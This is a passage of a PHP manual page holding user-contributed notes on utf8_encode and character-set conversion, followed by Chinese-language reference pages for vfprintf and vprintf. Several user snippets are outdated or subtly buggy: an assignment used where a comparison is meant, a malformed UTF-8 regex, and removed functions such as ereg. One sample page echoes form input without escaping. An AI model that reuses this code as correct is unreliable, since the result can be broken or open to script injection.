      . chr(0x80 | ($i >> 12) & 0x3f) . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
  return chr(0xfc | ($i >> 30)) . chr(0x80 | ($i >> 24) & 0x3f) . chr(0x80 | ($i >> 18) & 0x3f)
      . chr(0x80 | ($i >> 12) & 0x3f) . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
}

function u3i($s,$strict=1) { // returns integer on valid UTF-8 seq, NULL on empty, else FALSE
  // NOT strict: takes only DATA bits, present or not; strict: length and bits checking
  if ($s=='') return NULL;
  $l=strlen($s); $o=ord($s{0});
  if ($o <= 0x7f && $l==1) return $o;
  if ($l>6 && $strict) return false;
  if ($strict) for ($i=1;$i<$l;$i++) if (ord($s{$i}) > 0xbf || ord($s{$i})< 0x80) return false;
  if ($o < 0xc2) return false; // no-go even if strict=0
  if ($o <= 0xdf && ($l=2 && $strict)) return (($o & 0x1f) << 6 | (ord($s{1}) & 0x3f));
  if ($o <= 0xef && ($l=3 && $strict)) return (($o & 0x0f) << 12 | (ord($s{1}) & 0x3f) << 6
     |  (ord($s{2}) & 0x3f));
  if ($o <= 0xf7 && ($l=4 && $strict)) return (($o & 0x07) << 18 | (ord($s{1}) & 0x3f) << 12
     | (ord($s{2}) & 0x3f) << 6 |  (ord($s{3}) & 0x3f));
  if ($o <= 0xfb && ($l=5 && $strict)) return (($o & 0x03) << 24 | (ord($s{1}) & 0x3f) << 18
     | (ord($s{2}) & 0x3f) << 12 | (ord($s{3}) & 0x3f) << 6 |  (ord($s{4}) & 0x3f));
  if ($o <= 0xfd && ($l=6 && $strict)) return (($o & 0x01) << 30 | (ord($s{1}) & 0x3f) << 24
     | (ord($s{2}) & 0x3f) << 18 | (ord($s{3}) & 0x3f) << 12
     | (ord($s{4}) & 0x3f) << 6 |  (ord($s{5}) & 0x3f));
  return false;
}

// boundary behavior checking
$do=array(0x7f,0x7ff,0xffff,0x1fffff,0x3ffffff,0x7fffffff);
foreach ($do as $ii) for ($i=$ii;$i<=$ii+1; $i++) {
  $o=i3u($i);
  for ($j=0;$j<strlen($o);$j++) print "O[$j]=" . sprintf('%08b',ord($o{$j})) . ", ";
  print "c=$i, o=[$o].\n";
  print "Back: [$o] => [" . u3i($o) . "]\n";
}
rocketman 16-Mar-2006 04:46
If you are looking for a function to replace special characters with the hex-utf-8 value (e.g. für Webservice-Security/WSS4J compliancy) you might use this:

$textstart = "Gr??e";
$utf8 ='';
$max = strlen($txt);

for ($i = 0; $i < $max; $i++) {

if ($txt{i} == "&"){
$neu = "&x26;";
}
elseif ((ord($txt{$i}) < 32) or (ord($txt{$i}) > 127)){
$neu = urlencode(utf8_encode($txt{$i}));
$neu = preg_replace('#\%(..)\%(..)\%(..)#','&#x\1;&#x\2;&#x\3;',$neu);
$neu = preg_replace('#\%(..)\%(..)#','&#x\1;&#x\2;',$neu);
$neu = preg_replace('#\%(..)#','&#x\1;',$neu);
}
else {
$neu = $txt{$i};
}

$utf8 .= $neu;
} // for $i

$textnew = $utf8;

In this example $textnew will be "Gr&#xC3;&#xB6;&#xC3;&#x9F;e"
mailing at jcn50 dot com 20-Jan-2006 10:40
I recommend using this alternative for every language:

$new=mb_convert_encoding($s,"UTF-8","auto");

Don't forget to set all your pages to "utf-8" encoding, otherwise just use HTML entities.

jcn50.
04-Nov-2005 02:34
// Reads a file story.txt ascii (as typed on keyboard)
// converts it to Georgian character using utf8 encoding
// if I am correct(?) just as it should be when typed on Georgian computer
// it outputs it as an html file
//
// http://www.comweb.nl/keys_to_georgian.html
// http://www.comweb.nl/keys_to_georgian.php
// http://www.comweb.nl/story.txt

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<HTML>
<HEAD>
<TITLE>keys to unicode code</TITLE>

// this meta tag is needed
<meta http-equiv="Content-Type" content="text/html;CHARSET=gb2312" >

// note the sylfean font seems to be standard installed on Windows XP
// It supports Georgian

<style TYPE="text/css">
<!--
body {font-family:sylfaen; }
-->
</style>
</HEAD>

<BODY>

<?
$eng=array(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122,87,82,84,83,
67,74,90);
$geo=array(4304,4305,4330,4307,4308,4324,4306,4336,4312,4335,4313,
4314,4315,4316,4317,4318,4325,4320,4321,4322,4323,4309,
4332,4334,4327,4310,4333,4326,4311,4328,4329,4319,4331,
91,93,59,39,44,46,96);

$fc=file("story.txt");
foreach($fc as $line)
{
   $spacestart=1;
   for ($i=0; $i<strlen($line); $i+=1)
   {
      $character=ord(substr($line,$i,1));
      $found=0;
      for ($k=0; $k<count($eng); $k+=1)
      {
         if ($eng[$k]==$character)
         {
             print code2utf( $geo[$k] );
             $found=1;
         }
      }
      if ($found==0)
      {
         if ($character==126 || $character==32 || $character==10 || $character==9)
         {
            if ($character==9)  { print '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'; }
            if ($character==10) { print "<BR>\n"; }
            if ($character==32)
            {
               if ($spacestart==1) {print '&nbsp;'; } else { print " "; }
            }
            if ($character==126){ print "~";      }
         } else
         {
            print substr($line,$i,1);
         }
      }
      if ($character!=32) { $spacestart=0; }
   }
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
*/
function code2utf($num)
{
   if($num<128)return chr($num);
   if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
   if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
   if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
   return '';
}
?>

</BODY>
</HTML>
Janci 04-Nov-2005 04:00
I was searching for a function similar to Javascript's unescape(). In most cases it is OK to use url_decode() function but not if you've got UTF characters in the strings. They are converted into %uXXXX entities that url_decode() cannot handle.
I googled the net and found a function which actualy converts these entities into HTML entities (&#xxx;) that your browser can show correctly. If you're OK with that, the function can be found here: http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps

But it was not OK with me because I needed a string in my charset to make some comparations and other stuff. So I have modified the above function and in conjuction with code2utf() function mentioned in some other note here, I have managed to achieve my goal:

<?php
/**
 * Function converts an Javascript escaped string back into a string with specified charset (default is UTF-8).
 * Modified function from http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps
 *
 * @param string $source escaped with Javascript's escape() function
 * @param string $iconv_to destination character set will be used as second paramether in the iconv function. Default is UTF-8.
 * @return string
 */
function unescape($source, $iconv_to = 'UTF-8') {
    $decodedStr = '';
    $pos = 0;
    $len = strlen ($source);
    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '%') {
            $pos++;
            $charAt = substr ($source, $pos, 1);
            if ($charAt == 'u') {
                // we got a unicode character
                $pos++;
                $unicodeHexVal = substr ($source, $pos, 4);
                $unicode = hexdec ($unicodeHexVal);
                $decodedStr .= code2utf($unicode);
                $pos += 4;
            }
            else {
                // we have an escaped ascii character
                $hexVal = substr ($source, $pos, 2);
                $decodedStr .= chr (hexdec ($hexVal));
                $pos += 2;
            }
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    if ($iconv_to != "UTF-8") {
        $decodedStr = iconv("UTF-8", $iconv_to, $decodedStr);
    }

    return $decodedStr;
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
 */
function code2utf($num){
    if($num<128)return chr($num);
    if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
    if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
    if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
    return '';
}
?>
suttichai at ceforce dot com 28-May-2005 12:26
This function I use convert Thai font (iso-8859-11) to UTF-8. For my case, It work properly. Please try to use this function if you have a problem to convert charset iso-8859-11 to UTF-8.

function iso8859_11toUTF8($string) {

     if ( ! ereg("[\241-\377]", $string) )
         return $string;

     $iso8859_11 = array(
"\xa1" => "\xe0\xb8\x81",
"\xa2" => "\xe0\xb8\x82",
"\xa3" => "\xe0\xb8\x83",
"\xa4" => "\xe0\xb8\x84",
"\xa5" => "\xe0\xb8\x85",
"\xa6" => "\xe0\xb8\x86",
"\xa7" => "\xe0\xb8\x87",
"\xa8" => "\xe0\xb8\x88",
"\xa9" => "\xe0\xb8\x89",
"\xaa" => "\xe0\xb8\x8a",
"\xab" => "\xe0\xb8\x8b",
"\xac" => "\xe0\xb8\x8c",
"\xad" => "\xe0\xb8\x8d",
"\xae" => "\xe0\xb8\x8e",
"\xaf" => "\xe0\xb8\x8f",
"\xb0" => "\xe0\xb8\x90",
"\xb1" => "\xe0\xb8\x91",
"\xb2" => "\xe0\xb8\x92",
"\xb3" => "\xe0\xb8\x93",
"\xb4" => "\xe0\xb8\x94",
"\xb5" => "\xe0\xb8\x95",
"\xb6" => "\xe0\xb8\x96",
"\xb7" => "\xe0\xb8\x97",
"\xb8" => "\xe0\xb8\x98",
"\xb9" => "\xe0\xb8\x99",
"\xba" => "\xe0\xb8\x9a",
"\xbb" => "\xe0\xb8\x9b",
"\xbc" => "\xe0\xb8\x9c",
"\xbd" => "\xe0\xb8\x9d",
"\xbe" => "\xe0\xb8\x9e",
"\xbf" => "\xe0\xb8\x9f",
"\xc0" => "\xe0\xb8\xa0",
"\xc1" => "\xe0\xb8\xa1",
"\xc2" => "\xe0\xb8\xa2",
"\xc3" => "\xe0\xb8\xa3",
"\xc4" => "\xe0\xb8\xa4",
"\xc5" => "\xe0\xb8\xa5",
"\xc6" => "\xe0\xb8\xa6",
"\xc7" => "\xe0\xb8\xa7",
"\xc8" => "\xe0\xb8\xa8",
"\xc9" => "\xe0\xb8\xa9",
"\xca" => "\xe0\xb8\xaa",
"\xcb" => "\xe0\xb8\xab",
"\xcc" => "\xe0\xb8\xac",
"\xcd" => "\xe0\xb8\xad",
"\xce" => "\xe0\xb8\xae",
"\xcf" => "\xe0\xb8\xaf",
"\xd0" => "\xe0\xb8\xb0",
"\xd1" => "\xe0\xb8\xb1",
"\xd2" => "\xe0\xb8\xb2",
"\xd3" => "\xe0\xb8\xb3",
"\xd4" => "\xe0\xb8\xb4",
"\xd5" => "\xe0\xb8\xb5",
"\xd6" => "\xe0\xb8\xb6",
"\xd7" => "\xe0\xb8\xb7",
"\xd8" => "\xe0\xb8\xb8",
"\xd9" => "\xe0\xb8\xb9",
"\xda" => "\xe0\xb8\xba",
"\xdf" => "\xe0\xb8\xbf",
"\xe0" => "\xe0\xb9\x80",
"\xe1" => "\xe0\xb9\x81",
"\xe2" => "\xe0\xb9\x82",
"\xe3" => "\xe0\xb9\x83",
"\xe4" => "\xe0\xb9\x84",
"\xe5" => "\xe0\xb9\x85",
"\xe6" => "\xe0\xb9\x86",
"\xe7" => "\xe0\xb9\x87",
"\xe8" => "\xe0\xb9\x88",
"\xe9" => "\xe0\xb9\x89",
"\xea" => "\xe0\xb9\x8a",
"\xeb" => "\xe0\xb9\x8b",
"\xec" => "\xe0\xb9\x8c",
"\xed" => "\xe0\xb9\x8d",
"\xee" => "\xe0\xb9\x8e",
"\xef" => "\xe0\xb9\x8f",
"\xf0" => "\xe0\xb9\x90",
"\xf1" => "\xe0\xb9\x91",
"\xf2" => "\xe0\xb9\x92",
"\xf3" => "\xe0\xb9\x93",
"\xf4" => "\xe0\xb9\x94",
"\xf5" => "\xe0\xb9\x95",
"\xf6" => "\xe0\xb9\x96",
"\xf7" => "\xe0\xb9\x97",
"\xf8" => "\xe0\xb9\x98",
"\xf9" => "\xe0\xb9\x99",
"\xfa" => "\xe0\xb9\x9a",
"\xfb" => "\xe0\xb9\x9b"
 );

     $string=strtr($string,$iso8859_11);
     return $string;
 }

Suttichai Mesaard-www.ceforce.com
bisqwit at iki dot fi 20-May-2005 01:15
For reference, it may be insightful to point out that:
  utf8_encode($s)
is actually identical to:
  recode_string('latin1..utf8', $s)
and:
  iconv('iso-8859-1', 'utf-8', $s)
That is, utf8_encode is a specialized case of character set conversions.

If your string to be converted to utf-8 is something other than iso-8859-1 (such as iso-8859-2 (Polish/Croatian)), you should use recode_string() or iconv() instead rather than trying to devise complex str_replace statements.
JF Sebastian 09-Apr-2005 03:54
The following Perl regular expression tests if a string is well-formed Unicode UTF-8 (Broken up after each | since long lines are not permitted here. Please join as a single line, no spaces, before use.):

^([\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
\xe0[\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
\xed[\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
f0[\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
\xf4[\x80-\x8f][\x80-\xbf]{2})*$

NOTE: This strictly follows the Unicode standard 4.0, as described in chapter 3.9, table 3-6, "Well-formed UTF-8 byte sequences" ( http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf#G31703 ).

ISO-10646, a super-set of Unicode, uses UTF-8 (there called "UCS", see http://www.unicode.org/faq/utf_bom.html#1 ) in a relaxed variant that supports a 31-bit space encoded into up to six bytes instead of Unicode's 21 bits in up to four bytes. To check for ISO-10646 UTF-8, use the following Perl regular expression (again, broken up, see above):

^([\x00-\x7f]|
[\xc0-\xdf][\x80-\xbf]|
[\xe0-\xef][\x80-\xbf]{2}|
[\xf0-\xf7][\x80-\xbf]{3}|
[\xf8-\xfb][\x80-\xbf]{4}|
[\xfc-\xfd][\x80-\xbf]{5})*$

The following function may be used with above expressions for a quick UTF-8 test, e.g. to distinguish ISO-8859-1-data from UTF-8-data if submitted from a <form accept-charset="utf-8,iso-8859-1" method=..>.

function is_utf8($string) {
   return (preg_match('/[insert regular expression here]/', $string) === 1);
}
hrpeters (at) gmx (dot) net 13-Dec-2004 10:46
// Validate Unicode UTF-8 Version 4
// This function takes as reference the table 3.6 found at http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf
// It also flags overlong bytes as error

function is_validUTF8($str)
{
    // values of -1 represent disalloweded values for the first bytes in current UTF-8
    static $trailing_bytes = array (
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
        -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
        -1,-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
        2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 3,3,3,3,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
    );

    $ups = unpack('C*', $str);
    if (!($aCnt = count($ups))) return true; // Empty string *is* valid UTF-8
    for ($i = 1; $i <= $aCnt;)
    {
        if (!($tbytes = $trailing_bytes[($b1 = $ups[$i++])])) continue;
        if ($tbytes == -1) return false;

        $first = true;
        while ($tbytes > 0 && $i <= $aCnt)
        {
            $cbyte = $ups[$i++];
            if (($cbyte & 0xC0) != 0x80) return false;

            if ($first)
            {
                switch ($b1)
                {
                    case 0xE0:
                        if ($cbyte < 0xA0) return false;
                        break;
                    case 0xED:
                        if ($cbyte > 0x9F) return false;
                        break;
                    case 0xF0:
                        if ($cbyte < 0x90) return false;
                        break;
                    case 0xF4:
                        if ($cbyte > 0x8F) return false;
                        break;
                    default:
                        break;
                }
                $first = false;
            }
            $tbytes--;
        }
        if ($tbytes) return false; // incomplete sequence at EOS
    }
    return true;
}
Mark AT modernbill DOT com 09-Nov-2004 11:56
If you haven't guessed already: If the UTF-8 character has no representation in the ISO-8859-1 codepage, a ? will be returned. You might want to wrap a function around this to make sure you aren't saving a bunch of ???? into your database.
Aidan Kehoe <php-manual at parhasard dot net> 30-Aug-2004 07:05
Here's some code that addresses the issue that Steven describes in the previous comment;

<?php

/* This structure encodes the difference between ISO-8859-1 and Windows-1252,
   as a map from the UTF-8 encoding of some ISO-8859-1 control characters to
   the UTF-8 encoding of the non-control characters that Windows-1252 places
   at the equivalent code points. */

$cp1252_map = array(
    "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
    "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
    "\xc2\x83" => "\xc6\x92",     /* LATIN SMALL LETTER F WITH HOOK */
    "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
    "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
    "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
    "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
    "\xc2\x88" => "\xcb\x86",     /* MODIFIER LETTER CIRCUMFLEX ACCENT */
    "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
    "\xc2\x8a" => "\xc5\xa0",     /* LATIN CAPITAL LETTER S WITH CARON */
    "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
    "\xc2\x8c" => "\xc5\x92",     /* LATIN CAPITAL LIGATURE OE */
    "\xc2\x8e" => "\xc5\xbd",     /* LATIN CAPITAL LETTER Z WITH CARON */
    "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
    "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
    "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
    "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
    "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
    "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
    "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */

    "\xc2\x98" => "\xcb\x9c",     /* SMALL TILDE */
    "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
    "\xc2\x9a" => "\xc5\xa1",     /* LATIN SMALL LETTER S WITH CARON */
    "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
    "\xc2\x9c" => "\xc5\x93",     /* LATIN SMALL LIGATURE OE */
    "\xc2\x9e" => "\xc5\xbe",     /* LATIN SMALL LETTER Z WITH CARON */
    "\xc2\x9f" => "\xc5\xb8"      /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
);

function cp1252_to_utf8($str) {
        global $cp1252_map;
        return  strtr(utf8_encode($str), $cp1252_map);
}

?>
Net Raven 24-Jun-2004 12:58
I often need to convert multi language text sent to me for use in websites and other apps into UTF8 encoded so I can insert it into source code and databases.

I knocked up a small web page with its charset set to UTF8 then set it up so I can paste from the original doc (eg word or excel) and have the page return the UTF8 encoded version.

Of course the browser will convert the unicode to UTF8 for you as part of the submit (I use IE5 or better for this) then all you have to do in the PHP is encode the UTF8 so the browser will show it in its raw form.

Its a bit bulky but I just convert ALL character to html numbered entities (brute force and ignorance does it again.)

I've used this to encode everything from Hebrew to Japanese without problems

<?
header("Content-Type: text/plain; CHARSET=gb2312");
$code = (get_magic_quotes_gpc())?stripslashes($GLOBALS[code]):$GLOBALS[code];
?>
<html>
<head>
    <title>UTF8 ENCODER PAGE</title>
    <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">
</head>
<body>
<form method=post action="?seed=<?=time()?>">
    Original Unicode<br />
    <textarea name="code" cols="80" rows="10"><?=$code?></textarea><br />
    Encoded UTF8<br />
    <textarea name="encd" cols="80" rows="10"><?
        for ($i = 0; $i < strlen($code); $i++) {
            echo '&#'.ord(substr($code,$i,1));
        }
    ?></textarea><br />
    <input type="submit" value="encode">
</form>
</body>
</html>
Karen 01-Oct-2003 12:33
Re the previous post about converting GB2312 code to Unicode code which displayed the following function:

<?
// Program by sadly (www.phpx.com)

function gb2unicode($gb)
{
   if(!trim($gb))
    return $gb;
   $filename="gb2312.txt";
   $tmp=file($filename);
   $codetable=array();
   while(list($key,$value)=each($tmp))
    $codetable[hexdec(substr($value,0,6))]=substr($value,9,4);
   $utf="";
   while($gb)
    {
      if (ord(substr($gb,0,1))>127)
     {
        $this=substr($gb,0,2);
        $gb=substr($gb,2,strlen($gb));
        $utf.="&#x".$codetable[hexdec(bin2hex($this))-0x8080].";";
      }
     else
     {
      $gb=substr($gb,1,strlen($gb));
      $utf.=substr($gb,0,1);
     }
     }
  return $utf;
}
?>

I found that a small change was needed in the code to properly handle latin characters embedded in the middle of gb2312 text, as when the text includes a URL or email address. Just reverse the two lines in the part of the statement above that handles ord vals !>127.

Change:

$gb=substr($gb,1,strlen($gb));
$utf.=substr($gb,0,1);

to:

$utf.=substr($gb,0,1);
$gb=substr($gb,1,strlen($gb));

In the original function, the first latin chacter was dropped and it was not converting the first non-latin character after the latin text (everything was shifted one character too far to the right). Reversing those two lines makes it work correctly in every example I have tried.

Also, the source of the gb2312.txt file needed for this to work has changed. You can find it a couple places:

http://tcl.apache.org/sources/tcl/tools/encoding/gb2312.txt
ftp://ftp.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/GB/GB2312.TXT
ronen at greyzone dot com 07-Mar-2002 12:01
The following function will utf-8 encode unicode entities &#nnn(nn); with n={0..9}

/**
* takes a string of unicode entities and converts it to a utf-8 encoded string
* each unicode entitiy has the form &#nnn(nn); n={0..9} and can be displayed by utf-8 supporting
* browsers.  Ascii will not be modified.
* @param $source string of unicode entities [STRING]
* @return a utf-8 encoded string [STRING]
* @access public
*/
function utf8Encode ($source) {
    $utf8Str = '';
    $entityArray = explode ("&#", $source);
    $size = count ($entityArray);
    for ($i = 0; $i < $size; $i++) {
        $subStr = $entityArray[$i];
        $nonEntity = strstr ($subStr, ';');
        if ($nonEntity !== false) {
            $unicode = intval (substr ($subStr, 0, (strpos ($subStr, ';') + 1)));
            // determine how many chars are needed to reprsent this unicode char
            if ($unicode < 128) {
                $utf8Substring = chr ($unicode);
            }
            else if ($unicode >= 128 && $unicode < 2048) {
                $binVal = str_pad (decbin ($unicode), 11, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 5);
                $binPart2 = substr ($binVal, 5);

                $char1 = chr (192 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $utf8Substring = $char1 . $char2;
            }
            else if ($unicode >= 2048 && $unicode < 65536) {
                $binVal = str_pad (decbin ($unicode), 16, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 4);
                $binPart2 = substr ($binVal, 4, 6);
                $binPart3 = substr ($binVal, 10);

                $char1 = chr (224 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $char3 = chr (128 + bindec ($binPart3));
                $utf8Substring = $char1 . $char2 . $char3;
            }
            else {
                $binVal = str_pad (decbin ($unicode), 21, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 3);
                $binPart2 = substr ($binVal, 3, 6);
                $binPart3 = substr ($binVal, 9, 6);
                $binPart4 = substr ($binVal, 15);

                $char1 = chr (240 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $char3 = chr (128 + bindec ($binPart3));
                $char4 = chr (128 + bindec ($binPart4));
                $utf8Substring = $char1 . $char2 . $char3 . $char4;
            }

            if (strlen ($nonEntity) > 1)
                $nonEntity = substr ($nonEntity, 1); // chop the first char (';')
            else
                $nonEntity = '';

            $utf8Str .= $utf8Substring . $nonEntity;
        }
        else {
            $utf8Str .= $subStr;
        }
    }

    return $utf8Str;
}

Ronen.


将格式化字符串写入流

  • ? utf8_encode
  • vprintf ?
  • PHP Manual
  • 字符串 函数
  • 将格式化字符串写入流

vfprintf

(PHP 5, PHP 7, PHP 8)

vfprintf — 将格式化字符串写入流

说明

vfprintf(resource $stream, string $format, array $values): int

向由 stream 指定的流资源句柄中写入根据 format 格式化后的字符串。

作用与 fprintf() 函数类似，但是接收一个数组参数，而不是一系列可变数量的参数。

参数

stream

format

format 字符串通常由零或多个指令组成：普通字符（不包含 %）——直接复制到结果，转换规范——获取每个参数的结果。

转换规范遵循此原型： %[argnum$][flags][width][.precision]specifier.

Argnum

整数后跟美元符号 $，用于指定转换中要处理的参数数量。

标志
标志 | 说明
- 在指定字段宽度时左对齐，默认右对齐
+ 正数的加号 +前缀，默认负数的前缀是负号。
(space) | 空格填充结果。这是默认设置。
0 | 仅用 0 进行左侧数字填充。使用 s 标志符可以右侧填充。
'(char) | 用字符（char）填充结果。

Width

要么是整数，表示转换结果应该有多少个字符（最少），要么是 *。如果使用 *，那么宽度将作为额外的整数值提供，位于格式化符号之前。

Precision

小数点 .，可选的后跟整数或者 *，其含义取决于格式化符号：

  • e、E、f、F 标志符：小数点后需要打印的位数（默认是 6）。
  • g、G、h、H 标志符：这是要打印的最大有效位数。
  • s 标志符：充当分界点，为字符串设置最大字符限制。

Note: 如果小数点没有明确的精度值，则假设是 0。如果使用 *，则精度将作为额外的整数值提供，位于格式化符号之前。

标志符
标志符 | 说明
% 字面意思的百分号字符。不需要参数。
b | 参数视为整数并以二进制数字呈现。
c | 参数视为整数并以 ASCII 字符呈现。
d | 参数视为整数并以（有符号）十进制数字呈现。
e | 参数当做科学符号处理（例如 1.2e+2）。
E | 与 e 标志符相同，但使用大写字母（例如 1.2E+2）。
f | 参数当做浮点数处理且作为浮点数呈现（locale aware）。
F | 参数当做浮点数处理且作为浮点数呈现（non-locale aware）。
g

通用格式。

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and f.
h | Like the g specifier but uses F. Available as of PHP 8.0.0.
H | Like the g specifier but uses E and F. Available as of PHP 8.0.0.
o | 参数视为整数并以八进制数字来呈现。
s | 参数视为字符串来呈现。
u | 参数视为整数并以无符号十进制数字呈现。
x | 参数视为整数并作为十六进制数字呈现（带小写字母）。
X | 参数视为整数并作为十六进制数字呈现（带大写字母）。

Warning

c 类型标志符忽略填充和宽度

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

变量将会强制转换为适合标志符的类型：

类型处理
类型 | 标志符
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

返回值

返回输出字符串的长度。

错误／异常

从 PHP 8.0.0 开始，如果参数个数为零，将抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [width] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [precision] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，当传递的参数少于所需的参数时会抛出 ValueError。在 PHP 8.0.0 之前，返回 false 并发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 此函数失败时不再返回 false。
8.0.0 | 如果参数个数为零则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [width] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [precision] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 当传递的参数少于所需的参数时抛出 ValueError；以前该函数则会发出 E_WARNING。

示例

Example #1 vfprintf(): 前导 0 的整数

<?php
if (!($fp = fopen('date.txt', 'w')))
return;

vfprintf($fp, "%04d-%02d-%02d", array($year, $month, $day));
// 将向 date.txt 写入格式化的 ISO 标准日期
?>

参见

  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vprintf() - 输出格式化字符串
  • vsprintf() - 返回格式化字符串
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


输出格式化字符串

  • ? vfprintf
  • vsprintf ?
  • PHP Manual
  • 字符串 函数
  • 输出格式化字符串

vprintf

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

vprintf — 输出格式化字符串

说明

vprintf(string $format, array $values): int

根据 format （sprintf() 函数文档中有相关描述）参数指定的格式，在一个格式化字符串中显示多个值。

作用与 printf() 函数类似，但是接收一个数组参数，而不是一系列可变数量的参数。

参数

format

format 字符串通常由零或多个指令组成：普通字符（不包含 %）——直接复制到结果，转换规范——获取每个参数的结果。

转换规范遵循此原型： %[argnum$][flags][width][.precision]specifier.

Argnum

整数后跟美元符号 $，用于指定转换中要处理的参数数量。

标志
标志 | 说明
- 在指定字段宽度时左对齐，默认右对齐
